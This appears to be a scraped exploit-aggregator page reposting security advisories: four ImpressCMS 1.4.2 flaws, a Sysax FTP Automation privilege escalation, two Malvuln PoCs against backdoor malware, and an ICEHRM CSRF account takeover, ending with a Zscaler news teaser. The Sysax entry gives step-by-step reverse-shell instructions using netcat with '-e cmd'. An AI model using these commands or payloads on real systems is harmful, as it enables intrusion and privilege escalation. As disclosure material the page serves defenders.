Exploit Collector
ImpressCMS 1.4.2 Authentication Bypass

https://4.bp.blogspot.com/-42b-8Yu8ql4/WWlvfoDuyhI/AAAAAAAAIQE/GMGQD7Uo7DMncRccI_LNcWgfvYRkd0zwQCLcBGAs/s1600/h86.png
ImpressCMS versions 1.4.2 and below suffer from an authentication bypass vulnerability.

MD5 | cb96afceb1d5f28665500ba31bf166ab

Download
-----------------------------------------------------------------------
ImpressCMS <=
-----------------------------------------------------------------------
[-] Software Link:

https://www.impresscms.org
[-] Affected Versions:

Version 1.4.2 and prior versions.
[-] Vulnerability Description:

The vulnerability is located in the /plugins/preloads/autologin.php script:

45. $uname = $myts->stripSlashesGPC($autologinName);
46. $pass = $myts->stripSlashesGPC($autologinPass);
47. if (empty($uname) || is_numeric($pass)) {
48. $user = false ;
49. } else {
50. // V3
51. $uname4sql = addslashes($uname);
52. $criteria = new icms_db_criteria_Compo(new
icms_db_criteria_Item('login_name', $uname4sql));
53. $user_handler = icms::handler('icms_member_user');
54. $users = $user_handler->getObjects($criteria, false);
55. if (empty($users) || count($users) != 1) {
56. $user = false ;
57. } else {
58. // V3.1 begin
59. $user = $users[0] ;
60. $old_limit = time() -
(defined('ICMS_AUTOLOGIN_LIFETIME') ? ICMS_AUTOLOGIN_LIFETIME : 604800);
61. list($old_Ynj, $old_encpass) = explode(':', $pass);
62. if (strtotime($old_Ynj) < $old_limit ||
md5($user->getVar('pass') .
63. ICMS_DB_PASS . ICMS_DB_PREFIX . $old_Ynj)
!= $old_encpass)
64. {
65. $user = false;
66. }

User input passed through the "autologin_uname" and "autologin_pass"
cookie values is being used at lines 51-54 to fetch an user object from
the database, and then at lines 62-63 to check the correctness of the
user's password. The vulnerability exists because of an unsafe way of
comparing those parameters, due to comparison operator != is being used
instead of !== within the "if" statement at lines 62-63. The latter
operator returns "true" only if the compared values are equal and the
same type, while the first compares the values after "type juggling".
This might be exploited to potentially bypass the authentication
mechanism and login as any user without the knowledge of the password.
[-] Solution:

Upgrade to version 1.4.3 or later.
[-] Disclosure Timeline:

[20/01/2021] - Vendor notified through HackerOne
[02/02/2021] - Vendor replied this has been resolved and will be in
ImpressCMS 1.4.3
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released
[22/03/2022] - Public disclosure
[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26600 to this vulnerability.
[-] Credits:

Vulnerability discovered by Egidio Romano.
[-] Other References:

https://hackerone.com/reports/1081986
[-] Original Advisory:

http://karmainsecurity.com/KIS-2022-01


Source:packetstormsecurity.com

Exploit Collector
Sysax FTP Automation 6.9.0 Privilege Escalation

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Sysax FTP Automation version 6.9.0 suffers from a privilege escalation vulnerability.

MD5 | cabc8e82b372a9b0475ad6a07ee85d3e

Download
# Exploit Author: bzyo (@bzyo_)
# Exploit Title: Sysax FTP Automation 6.9.0 - Privilege Escalation
# Date: 03-20-2022
# Vulnerable Software: Sysax FTP Automation 6.9.0
# Vendor Homepage: https://www.sysax.com/
# Version: 6.9.0
# Software Link: https://www.sysax.com/download/sysaxauto_setup.msi
# Tested on: Windows 10 x64

# Details:
Sysax Scheduler Service runs as Local System. By default the application allows for low privilege users to create/run backup jobs other than themselves. By removing the option to run as current user or another, the task will run as System. A low privilege user could abuse this and escalate their privileges to local system.

# Prerequisites:
To successfully exploit this vulnerability, an attacker must already have local access to a system running Sysax FTP Automation using a low privileged user account

# Exploit:
Logged in as low privileged account

1. Create folder c:\temp
2. Download netcat (nc.exe) to c:\temp
3. Create file 'pwn.bat' in c:\temp with contents
c:\temp\nc.exe localhost 1337 -e cmd
4. Open command prompt and netcat listener
nc -nlvvp 1337
5. Open sysaxschedscp.exe from C:\Program Files (x86)\SysaxAutomation
6. Select Setup Scheduled/Triggered Tasks
- Add task (Triggered)
- Update folder to monitor to be c:\temp
- Check 'Run task if a file is added to the monitor folder or subfolder(s)'
- Choose 'Run any other Program' and choose c:\temp\pwn.bat
- Uncheck 'Login as the following user to run task'
- Finish and Save
7. Create new text file in c:\temp
8. Check netcat listener
C:\WINDOWS\system32>whoami
whoami
nt authority\system


Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.Agent.bxxn Open Proxy

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Backdoor.Win32.Agent.bxxn malware suffers from an open proxy vulnerability.

MD5 | 7a869bda2813b6f98ff4465388a0e478

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/dcbc237f21839a6514c8321d5fa631a4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.bxxn
Vulnerability: Open Proxy
Description: The malware listens on TCP port 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Family: Agent
Type: PE32
MD5: dcbc237f21839a6514c8321d5fa631a4
Vuln ID: MVID-2022-0522
Disclosure: 03/21/2022

Exploit/PoC:
curl socks4://192.168.18.125:1080 http://192.168.18.128:21
220 INetSim FTP Service ready.

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.BirdSpy.b Hardcoded Credential

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Backdoor.Win32.BirdSpy.b malware suffers from a hardcoded credential vulnerability.

MD5 | 7e6168b54ac04e9df02909abd1d357f0

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/eba3dd81723ddf33621fd85ded577920.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BirdSpy.b
Vulnerability: Weak Hardcoded Credentials
Family: BirdSpy
Type: PE32
MD5: eba3dd81723ddf33621fd85ded577920
Vuln ID: MVID-2022-0523
Dropped files: WinSock.exe
Disclosure: 03/21/2022
Description: The malware listens on TCP port 50829. Authentication is required, however the password "ccbird" is weak and hardcoded in the PE file.

00401E0E mov esi, offset Data ; "ccbird"
00401E13 push 0 ; flags
00401E15 push esi ; Str

Built-in commands:
==================
byby "kill the malware"
delp "terminate process"
exec "shellexecute pgm"
dlog HATE "send a message"
getd "get drives"
regw "write to registry"
Exploit/PoC:
nc64.exe x.x.x.x 50829
ccbird
pwok Welcome to Januse's BirdSPY
Januse0128
sysJanuse0128gsys
msgeSystem: Windows NT
Version:6.2
BuildNumber:9200
System Info:''Januse0128
Januse0128dlog HATE
Januse0128bird
BirdSPY Release version 1..by JanuseChiu
ME.NCU.EDU.TW...YAJanuse0128
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
ICEHRM 31.0.0.0S Cross Site Request Forgery

https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png
ICEHRM version 31.0.0.0S suffers from a cross site request forgery vulnerability.

MD5 | c62d06823da308b96d7d8a8775bd3775

Download
# Exploit Title: ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Takeover
# Date: 18/03/2022
# Exploit Author: Devansh Bordia
# Vendor Homepage: https://icehrm.com/
# Software Link: https://github.com/gamonoid/icehrm/releases/tag/v31.0.0.OS
# Version: 31.0.0.OS
#Tested on: Windows 10

1. About - ICEHRM
IceHrm employee management system allows companies to centralize confidential employee information and define access permissions to authorized personnel to ensure that employee information is both secure and accessible.

2. Description:
The application has an update password feature which has a CSRF vulnerability that allows an attacker to change the password of any arbitrary user leading to an account takeover.

3. Steps To Reproduce:
- Create an User name:Gaurav with permission of the Employee using the Admin User of the application and set his password.
- Now login into the application using his credentials and navigate to Update Password Feature to change the password.
- Intercept the request in Proxy and we can see there is a GET request used to change password and also NO CSRF Token is being used.
- Finally using Burpsuite create CSRF POC and save it as exploit.html.
- Now change the password in the POC to any password we want.
- Finally we open this POC in the same browser session and click on the submit button.
- At last when retrying to login into the application we can see that password has been reset for the account leading to account takeover.

4. Vulnerable Request:

GET
/app/service.php?t=Employee&a=ca&sa=changePassword&mod=modules=employees&req={"current":"Test@123
","pwd":"Dummy@123"} HTTP/1.1
Host: localhost:8070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)
Gecko/20100101 Firefox/98.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer:
http://localhost:8070/app/?g=modules&n=employees&m=module_Personal_Information
Cookie: PHPSESSID=k8d27ve456j0jb56ga885j1vvb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

5. Exploit POC (exploit.html)
value="{"current":"Test@123","pwd":"Dummy@123"}"
/>

Source:packetstormsecurity.com

Exploit Collector
ImpressCMS 1.4.2 Path Traversal

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
ImpressCMS versions 1.4.2 and below suffer from a path traversal vulnerability that can allow for arbitrary file deletion.

MD5 | a8d22b7cc80f2dd7e1709f1422b1179e

Download
-----------------------------------------------------------------
ImpressCMS <=
-----------------------------------------------------------------
[-] Software Link:

https://www.impresscms.org
[-] Affected Versions:

Version 1.4.2 and prior versions.
[-] Vulnerability Description:

The vulnerability is located in the
/libraries/image-editor/image-edit.php script:

161. if (@copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp, $categ_path . $simage->getVar ( 'image_name' ) )) {
162. if (@unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp )) {
163. $msg = _MD_AM_DBUPDATED;

[...]

190. } else {
191. if (copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp, $categ_path . $imgname )) {
192. @unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp );
193. }

User input passed through the "image_temp" parameter is not properly
sanitized before being used in a call to the unlink() function at lines
162 and 192. This can be exploited by authenticated attackers to carry
out Path Traversal attacks and delete arbitrary files in the context of
the web server process. This vulnerability could be exploited also to
disclose the content of arbitrary files in case the web server allows
for directory listing.

[-] Solution:

Upgrade to version 1.4.3 or later.
[-] Disclosure Timeline:

[19/01/2021] - Vendor notified through HackerOne
[29/01/2021] - Vulnerability acknowledged by the vendor
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released
[22/03/2022] - Public disclosure
[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26601 to this vulnerability.
[-] Credits:

Vulnerability discovered by Egidio Romano.
[-] Other References:

https://hackerone.com/reports/1081878
[-] Original Advisory:

http://karmainsecurity.com/KIS-2022-02

Source:packetstormsecurity.com

Exploit Collector
ImpressCMS 1.4.2 Incorrect Access Control

https://4.bp.blogspot.com/-INMz00VTlDg/WWlvPzJvf6I/AAAAAAAAIM4/tZDwU9OuM_wuiTGIuyom6E8lddjUI2D5ACLcBGAs/s1600/h29.png
ImpressCMS versions 1.4.2 and below suffer from an incorrect access control vulnerability.

MD5 | 3eef0d54701c87520c4c7a944b7f47a5

Download
--------------------------------------------------------------------------
ImpressCMS <=
--------------------------------------------------------------------------
[-] Software Link:

https://www.impresscms.org
[-] Affected Versions:

Version 1.4.2 and prior versions.
[-] Vulnerability Description:

The vulnerability is located in the /include/findusers.php script:

16. include "../mainfile.php";
17. xoops_header(false);
18.
19. $denied = true;
20. if (!empty($_REQUEST['token'])) {
21. if (icms::$security->validateToken($_REQUEST['token'], false)) {
22. $denied = false;
23. }
24. } elseif (is_object(icms::$user) && icms::$user->isAdmin()) {
25. $denied = false;
26. }
27. if ($denied) {
28. icms_core_Message::error(_NOPERM);
29. exit();
30. } }

This script should be accessible to authenticated users only. However,
because of the "if" statement at lines 20-23, this script could be
accessed by unauthenticated attackers if they will provide a valid
security token. Such a token will be generated in several places within
the application, and some of them do not require the user to be
authenticated, like in the misc.php script. This might be exploited to
access an otherwise restricted functionality of the application, which
in turn might allow an information disclosure about the CMS users.
[-] Solution:

Upgrade to version 1.4.3 or later.
[-] Disclosure Timeline:

[19/01/2021] - Vendor notified through HackerOne
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released
[22/03/2022] - Public disclosure
[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26598 to this vulnerability.
[-] Credits:

Vulnerability discovered by Egidio Romano.
[-] Other References:

https://hackerone.com/reports/1081137
[-] Original Advisory:

http://karmainsecurity.com/KIS-2022-03

Source:packetstormsecurity.com

Exploit Collector
ImpressCMS 1.4.2 SQL Injection

https://4.bp.blogspot.com/-yl8JZs3kPK0/WWlvOF1SUeI/AAAAAAAAIMk/jv5-1ECzklsqpq4rMFWFx2wFFGh-Q9GlwCLcBGAs/s1600/h24.png
ImpressCMS versions 1.4.3 and below suffer from a remote SQL injection vulnerability.

MD5 | 87f67399dc57cf0886d71c379f9cc8b8

Download
---------------------------------------------------------------
ImpressCMS <=
---------------------------------------------------------------
[-] Software Link:

https://www.impresscms.org
[-] Affected Versions:

Version 1.4.3 and prior versions.
[-] Vulnerability Description:

The vulnerability is located in the /include/findusers.php script:

281. $total =
$user_handler->getUserCountByGroupLink(@$_POST["groups"], $criteria);
282.
283. $validsort = array("uname", "email", "last_login",
"user_regdate", "posts");
284. $sort = (!in_array($_POST['user_sort'], $validsort)) ?
"uname" : $_POST['user_sort'];
285. $order = "ASC";
286. if (isset($_POST['user_order']) && $_POST['user_order']
== "DESC") {
287. $order = "DESC";
288. }
289.
290. $criteria->setSort($sort);
291. $criteria->setOrder($order);
292. $criteria->setLimit($limit);
293. $criteria->setStart($start);
294. $foundusers =
$user_handler->getUsersByGroupLink(@$_POST["groups"], $criteria, TRUE);

User input passed through the "groups" POST parameter is not properly
sanitized before being passed to the
icms_member_Handler::getUserCountByGroupLink() and
icms_member_Handler::getUsersByGroupLink() methods at lines 281 and 294.
These methods use the first argument to construct a SQL query without
proper validation, and this can be exploited by remote attackers to e.g.
read sensitive data from the "users" database table through
boolean-based SQL Injection attacks. The application allows for stacked
SQL queries, as such this vulnerability could be exploited to e.g.
create a new admin user and execute arbitrary PHP code.
[-] Solution:

Upgrade to version 1.4.4 or later.
[-] Disclosure Timeline:

[19/01/2021] - Vendor notified through HackerOne
[29/01/2021] - Vulnerability acknowledged by the vendor
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released, vulnerability not correctly fixed
[11/02/2022] - Vendor was informed about the ineffective fix
[09/03/2022] - Version 1.4.4 released
[22/03/2022] - Public disclosure
[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26599 to this vulnerability.
[-] Credits:

Vulnerability discovered by Egidio Romano.
[-] Other References:

https://hackerone.com/reports/1081145
[-] Original Advisory:

http://karmainsecurity.com/KIS-2022-04

Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
Zscaler Unveils Security Service Edge Innovations to Protect Enterprises From Cyberattacks

Advancements to the most deployed ZTNA solution strengthen the Zscaler Zero Trust Exchange with new private app protection, deception, and privileged remote access capabilities.